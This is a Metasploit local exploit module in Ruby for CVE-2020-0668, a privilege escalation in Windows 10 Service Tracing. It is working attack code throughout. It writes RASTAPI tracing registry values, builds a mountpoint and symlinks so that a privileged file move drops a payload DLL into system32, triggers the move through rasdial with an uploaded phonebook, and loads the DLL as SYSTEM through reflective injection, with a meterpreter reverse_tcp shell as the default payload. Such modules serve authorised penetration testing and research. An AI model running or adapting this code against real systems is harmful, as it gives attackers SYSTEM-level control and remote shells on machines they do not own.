##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE
  include Msf::Post::Windows::FileSystem
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service Tracing Privilege Elevation Vulnerability',
        'Description' => %q{
          This module leverages a trusted file overwrite with a DLL hijacking
          vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64
          targets.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'itm4n', # PoC
          'bwatters-r7' # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-02-11',
        'References' => [
          ['CVE', '2020-0668'],
          ['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
          ['URL', 'https://github.com/itm4n/SysTracingPoc'],
          ['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
          ['PACKETSTORM', '156576'],
          ['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
          ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
        ],
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultOptions' => {
          'DisablePayloadHandler' => false,
          'EXITFUNC' => 'thread',
          'Payload' => 'windows/x64/meterpreter/reverse_tcp',
          'WfsDelay' => 900
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_fs_md5
              stdapi_railgun_api
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_DIR',
                    [false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
      OptBool.new('OVERWRITE_DLL',
                  [true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
      OptString.new('PAYLOAD_UPLOAD_NAME',
                    [false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
      OptString.new('PHONEBOOK_UPLOAD_NAME',
                    [false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
    ])
  end

  def write_reg_value(registry_hash)
    vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
    begin
      if !registry_key_exist?(registry_hash[:key_name])
        registry_createkey(registry_hash[:key_name])
        registry_hash[:delete_on_cleanup] = true
      else
        registry_hash[:delete_on_cleanup] = false
      end
      registry_setvaldata(registry_hash[:key_name].strip, \
                          registry_hash[:value_name].strip, \
                          registry_hash[:value_value], \
                          registry_hash[:value_type])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
  end

  def remove_reg_value(registry_hash)
    # we may have already deleted the key
    return unless registry_key_exist?(registry_hash[:key_name])

    begin
      if registry_hash[:delete_on_cleanup]
        vprint_status("Deleting #{registry_hash[:key_name]} key")
        registry_deletekey(registry_hash[:key_name])
      else
        vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_bad('Unable to clean up registry')
      print_error(e.to_s)
    end
  end

  def create_reg_hash(new_size, exploit_dir)
    reg_keys = []
    reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
                  value_name: 'EnableFileTracing',
                  value_type: 'REG_DWORD',
                  value_value: 1,
                  delete_on_cleanup: false)
    reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
                  value_name: 'FileDirectory',
                  value_type: 'REG_EXPAND_SZ',
                  value_value: exploit_dir,
                  delete_on_cleanup: false)
    reg_keys.push(key_name: 'HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI',
                  value_name: 'MaxFileSize',
                  value_type: 'REG_DWORD',
                  value_value: new_size,
                  delete_on_cleanup: false)
    reg_keys
  end

  def remove_file(file_pathname)
    vprint_status("Deleting #{file_pathname}")
    begin
      session.fs.file.rm(file_pathname)
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Manual cleanup of \"#{file_pathname}\" required!")
    end
  end

  def launch_dll_trigger
    print_status('Triggering the Reflective DLL injection and running the LPE DLL...')
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll'),
      encoded_payload
    )
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    print_error(e.message)
  end

  def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
    handles = [] # stores open handles to cleanup properly
    reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)
    vprint_status("Registry hash = #{reg_hash}")

    # set up directories and mountpoints
    vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")
    mkdir(exploit_dir)
    vprint_status("Made #{exploit_dir}")
    register_file_for_cleanup(upload_payload_pathname)
    mount_dir = '\\RPC Control\\'

    # Create mountpoint
    print_status('Creating mountpoint')
    mount_point_handle = create_mount_point(exploit_dir, mount_dir)
    unless mount_point_handle
      fail_with(Failure::Unknown, 'Error when creating the mount point... aborting.')
    end

    # Upload payload
    print_status("Uploading payload to #{upload_payload_pathname}")
    write_file(upload_payload_pathname, file_contents)
    register_file_for_cleanup(upload_payload_pathname)
    upload_md5 = session.fs.file.md5(upload_payload_pathname)
    vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")

    # Create Symlinks
    print_status('Creating Symlinks')
    vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
    symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.LOG', "\\??\\#{upload_payload_pathname}")
    unless symlink_handle
      fail_with(Failure::Unknown, 'Error when creating the RASTAPI.LOG symlink... aborting.')
    end
    vprint_status("Collected Symlink Handle #{symlink_handle}")
    handles.push(symlink_handle)
    vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
    symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.OLD', "\\??\\#{target_payload_pathname}")
    unless symlink_handle
      fail_with(Failure::Unknown, 'Error when creating the RASTAPI.OLD symlink... aborting.')
    end
    vprint_status("Collected Symlink Handle #{symlink_handle}")
    handles.push(symlink_handle)

    # write registry keys
    reg_hash.each do |entry|
      write_reg_value(entry)
    end

    # Upload phonebook file
    phonebook_name = datastore['PHONEBOOK_NAME'] || "#{Rex::Text.rand_text_alpha(6..13)}.pbk"
    upload_phonebook_pathname = "#{session.sys.config.getenv('TEMP')}\\#{phonebook_name}"
    launch_rasdialer(upload_phonebook_pathname)
    register_file_for_cleanup(upload_phonebook_pathname)
    vprint_status("Checking on #{target_payload_pathname}")
    vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
    moved_md5 = session.fs.file.md5(target_payload_pathname)
    vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")

    # clean up after file move
    print_status('Cleaning up before triggering dll load...')
    print_status('Removing Registry keys')
    reg_hash.each do |entry|
      remove_reg_value(entry)
    end
    print_status('Removing Symlinks')
    handles.each do |handle|
      result = session.railgun.kernel32.CloseHandle(handle)
      vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
    end
    print_status('Removing Mountpoint')
    delete_mount_point(exploit_dir, mount_point_handle)
    print_status('Removing directories')
    unless moved_md5 == upload_md5
      fail_with(Failure::Unknown, 'Payload hashes do not match; filecopy failed.')
    end
  end

  def exploit
    validate_target
    validate_active_host
    # dll should not already exist
    win_dir = session.sys.config.getenv('windir')
    target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
    if file?(target_payload_pathname)
      print_warning("#{target_payload_pathname} already exists")
      print_warning('If it is in use, the overwrite will fail')
      unless datastore['OVERWRITE_DLL']
        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
        fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
      end
    end

    # set up variables
    temp_dir = session.sys.config.getenv('TEMP')
    exploit_dir = datastore['EXPLOIT_DIR'] || "#{temp_dir}\\#{Rex::Text.rand_text_alpha(6..13)}"
    upload_payload_pathname = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
    payload_dll = generate_payload_dll
    print_status("Payload DLL is #{payload_dll.length} bytes long")

    # start file copy
    rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)

    # launch trigger
    launch_dll_trigger
    print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
    print_status('Exploit complete.  It may take up to 10 minutes to get a session')
  end

  def validate_active_host
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    raise Msf::Exploit::Failed, 'Could not connect to session'
  end

  def validate_target
    unless sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end

    if session.arch == ARCH_X86
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
    end

    version_info = get_version_info
    vprint_status("Version: #{version_info.number}")
    unless version_info.build_version.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909)
      fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
    end
  end

  def launch_rasdialer(upload_phonebook_pathname)
    local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')
    ensure_clean_destination(upload_phonebook_pathname)
    vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")
    begin
      upload_file(upload_phonebook_pathname, local_phonebook_path)
    rescue Rex::Post::Meterpreter::RequestError
      print_error('Failed to upload phonebook')
      return nil
    end
    print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")

    # Launch RASDIAL
    vprint_status('Launching Rasdialer')
    rasdial_cmd = "rasdial VPNTEST test test /PHONEBOOK:#{upload_phonebook_pathname}"
    print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
    output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
    vprint_status(output)
  end

  def ensure_clean_destination(path)
    return unless file?(path)

    print_status("#{path} already exists on the target. Deleting...")
    begin
      file_rm(path)
      print_status("Deleted #{path}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog(e)
      print_error("Unable to delete #{path}")
    end
  end
end
